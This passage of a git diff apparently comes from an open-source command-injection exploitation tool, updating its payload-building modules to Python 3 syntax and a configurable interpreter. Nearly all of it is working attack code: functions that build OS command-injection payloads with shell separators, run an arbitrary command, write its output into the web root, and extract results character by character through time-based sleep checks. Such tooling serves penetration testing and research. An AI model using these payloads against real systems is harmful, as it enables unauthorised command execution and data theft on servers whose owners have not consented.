+ basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS
if not header_name == " cookie" and not the_type == " HTTP header":
header_name = " " + str(http_request_method)
settings.CLASSIC_STATE = True
@@ -77,7 +81,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
whitespace = settings.WHITESPACES[0]
if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS:
_ = 0
- for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
+ for payload in basic_payloads:
_ = _ + 1
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
payload = _urllib.parse.quote(payload)
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index ab791c2c11..3b64637dfd 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -79,9 +79,9 @@ def decision(separator, TAG, randv1, randv2):
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == "win":
if settings.SKIP_CALC:
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "'\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\""
else:
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -91,16 +91,16 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
else:
if settings.SKIP_CALC:
payload = (separator +
- settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
+ settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
TAG +
- TAG + "'\""
+ TAG + "')\""
)
else:
payload = (separator +
- settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
+ settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
"'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" +
TAG + "'%2B'" +
- TAG + "'\""
+ TAG + "')\""
)
return payload
@@ -161,11 +161,11 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.USE_BACKTICKS:
payload = (separator +
- settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\""
+ settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\""
)
else:
payload = (separator +
- settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\""
+ settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\""
)
return payload
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index 91f5da7cd6..6e56523500 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -91,7 +91,7 @@ def decision(separator, TAG, randv1, randv2):
"""
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
@@ -120,7 +120,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
)
else:
- python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
+ python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index 53a20f9b53..bedb6ba0b9 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -52,7 +52,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
)
else:
payload = (separator +
- "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")"
)
if settings.USER_AGENT_INJECTION == True or \
@@ -61,10 +61,8 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
settings.CUSTOM_HEADER_INJECTION == True :
payload = payload.replace("\n", separator)
else:
- if not settings.TAMPER_SCRIPTS['base64encode'] and \
- not settings.TAMPER_SCRIPTS['hexencode']:
- if settings.TARGET_OS != "win":
- payload = payload.replace("\n","%0d")
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
@@ -113,7 +111,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
)
else:
payload = (separator +
- "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")"
)
# New line fixation
@@ -123,10 +121,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", separator)
else:
- if not settings.TAMPER_SCRIPTS['base64encode'] and \
- not settings.TAMPER_SCRIPTS['hexencode']:
- if settings.TARGET_OS != "win":
- payload = payload.replace("\n","%0d")
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 5890c1fb4d..536d27dcbe 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
"""
def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "||" :
pipe = "|"
payload = (pipe + " "
@@ -136,24 +136,24 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
else:
if separator == ";" :
payload = (separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -161,12 +161,12 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -174,10 +174,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " "
# Find the length of the output, using readline().
- "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
+ "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
else:
pass
@@ -188,7 +188,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
"""
@@ -243,7 +245,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
- "if [ " + str(j) + " != ${str1} ]" + separator +
+ "if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0 " + separator +
"else sleep " + str(timesec) + separator +
# Transform to ASCII
@@ -261,7 +263,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
- "if [ " + str(j) + " != ${str1} ]" + separator +
+ "if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0 " + separator +
"else sleep " + str(timesec) + separator +
# Transform to ASCII
@@ -308,7 +310,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"""
def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "||" :
pipe = "|"
payload = (pipe +
@@ -339,24 +341,24 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
else:
if separator == ";" :
payload = (separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator +
- "if [ " + str(j) + " != ${str1} ] " + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
+ "if [ " + str(j) + " -ne ${str1} ] " + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator +
- "if [ " + str(j) + " != ${str1} ] " + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
+ "if [ " + str(j) + " -ne ${str1} ] " + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -364,12 +366,12 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -377,9 +379,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " "
- "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " "
+ "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
@@ -390,7 +392,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
"""
@@ -422,7 +426,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -433,7 +437,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -473,7 +477,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
"""
def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print ord(file.read().strip()[" + str(num_of_chars - 1) + "][0]); exit(0)\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\""
if separator == "||" :
pipe = "|"
payload = (pipe + " "
@@ -496,20 +500,20 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
else:
if separator == ";" :
payload = (separator +
- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -517,10 +521,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -528,8 +532,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
@@ -539,7 +543,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
"""
@@ -572,7 +578,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
if separator == ";" :
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator +
+ "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -582,7 +588,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
#separator = "\n"
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator +
+ "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -616,7 +622,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
"""
def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print file.readlines()[0][" + str(num_of_chars - 1) + "]; exit(0)\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\""
if separator == "||" :
pipe = "|"
payload = (pipe + " "
@@ -639,20 +645,20 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
else:
if separator == ";" :
payload = (separator +
- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -660,10 +666,10 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
